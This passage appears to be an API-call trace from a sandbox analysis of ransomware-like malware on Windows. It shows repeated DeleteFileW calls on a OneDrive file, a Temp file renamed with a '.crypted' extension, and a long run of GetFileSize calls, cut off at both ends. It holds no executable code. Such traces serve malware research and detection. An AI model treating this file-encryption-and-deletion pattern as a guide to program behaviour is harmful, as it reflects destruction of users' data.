"c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.405] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.406] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.406] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.407] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.408] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.409] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.410] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.411] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.411] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.412] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.413] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.414] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.414] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.415] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.416] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.416] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.417] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.418] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.419] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.419] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.420] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0197.466] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x0 [0197.466] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.crypted", nBufferLength=0x105, lpBuffer=0x1ed990, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.crypted", lpFilePart=0x0) returned 0x43 [0197.478] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x9a [0197.586] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x0 [0197.695] GetFileSize (in: hFile=0x4e8, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x5d8f6 [0197.810] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x3b721 [0197.855] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x6f28 [0197.894] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x2d0e [0197.987] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xec9c [0198.161] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x188b9 [0198.316] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x139fc [0198.492] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x146af [0198.637] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x113ab [0198.792] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xf8f5 [0199.001] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xb0ca [0199.089] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x15d21 [0199.264] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x7c52 [0199.390] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xb7c5 [0199.502] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x12eb0 [0199.751] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xb7d5 [0199.809] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xceed [0200.069] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xfc1 [0200.427] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x5dd2 [0200.730] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xe26a [0201.000] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1280c [0201.119] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x4fdc [0201.232] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x2a24 [0201.493] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xd1d7 [0201.803] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xa905 [0201.891] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xc023 [0201.938] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xd6b22 [0202.285] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xce875 [0202.837] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x91554 [0203.240] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xbd616 [0203.837] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xbea1f [0203.983] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x8907c [0204.067] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xbde6b [0204.233] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x97958 [0204.358] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1fad1 [0204.359] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xadc8 [0204.359] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x70c1 [0204.360] GetFileSize (in: hFile=0x4e8, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x99d3 [0204.360] GetFileSize (in: hFile=0x200, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1fad1 [0204.361] GetFileSize (in: hFile=0x244, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x70c1 [0204.362] GetFileSize (in: hFile=0x4ec, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xbb8 [0204.499] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x8f [0204.589] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x2ce [0204.654] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x157b [0204.933] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1d96 [0205.086] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x2062 [0205.226] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xbeb [0205.332] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x27f2 [0205.546] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1cd7 [0205.743] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x13cc [0205.854] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1e64 [0206.155] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x123c [0206.517] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x2266 [0206.701] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x244a [0206.856] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1d59 [0206.963] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xa21 [0207.245] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x321 [0207.355] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x40b0 [0207.490] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x6132 [0207.631] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x40b0 [0207.771] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x5dc0 [0207.810] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1c362 [0207.838] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x7ba3 [0207.905] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x11817 [0208.066] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x97a8 [0208.248] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1819c [0208.295] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x5c7c [0208.339] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x3220 [0208.442] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x9620 [0208.480] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x11148 [0208.544] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xb799 [0208.576] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x5c24 [0208.638] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x160d9 [0208.713] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xec96 [0208.817] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1361e [0208.874] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xc2b [0208.932] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x7044 [0208.973] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x15eea [0209.027] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1039f [0209.100] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xf431 [0209.251] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1fad1 [0209.252] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xadc8 [0209.253] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x70c1 [0209.253] GetFileSize (in: hFile=0x4e8, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x99d3 [0209.254] GetFileSize (in: hFile=0x200, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1fad1 [0209.254] GetFileSize (in: hFile=0x244, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x70c1 [0209.257] GetFileSize (in: hFile=0x4ec, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xa5ff [0209.511] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x5c [0209.601] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x13c4 [0209.704] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1900 [0209.807] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x484 [0209.960] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x39e4 [0210.058] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x817b [0210.127] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xb6e8 [0210.149] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x14cee [0210.297] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x17047 [0210.400] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x112ba [0210.512] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x93fb [0210.602] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xd94 [0210.749] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x9526 [0210.779] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xe782 [0210.943] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x113ba [0211.047] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x10384 [0211.212] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x128f4 [0211.354] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x16ce7 [0211.440] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x222c [0211.541] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x10d0c [0211.701] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xc277 [0211.727] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x18432 [0211.803] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x768c [0211.888] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x80e9 [0211.971] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x188c9 [0212.060] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x5cec [0212.200] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xe7fd [0212.582] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xbdc6 [0212.694] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x151b2 [0212.775] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x9341 [0212.807] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1672a [0212.854] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x604e [0212.985] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xcc0b [0213.130] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x127ac [0213.207] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xb026 [0213.231] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x56b [0213.442] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xd72 [0213.585] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x16ace [0213.738] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x111fb [0214.026] GetFileSize (in: hFile=0x59c, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xc52b [0214.379] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x4967 [0214.482] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x16a13 [0214.747] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x891 [0214.848] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x74e8 [0214.962] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x18674 [0215.121] GetFileSize (in: hFile=0x5e4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xccb1 [0215.413] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xd3b8 [0215.956] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x4feb [0216.078] GetFileSize (in: hFile=0x2b4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x18cec [0216.217] GetFileSize (in: hFile=0x5e4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x98f1 [0216.359] GetFileSize (in: hFile=0x5e4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0x1339b [0216.521] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: 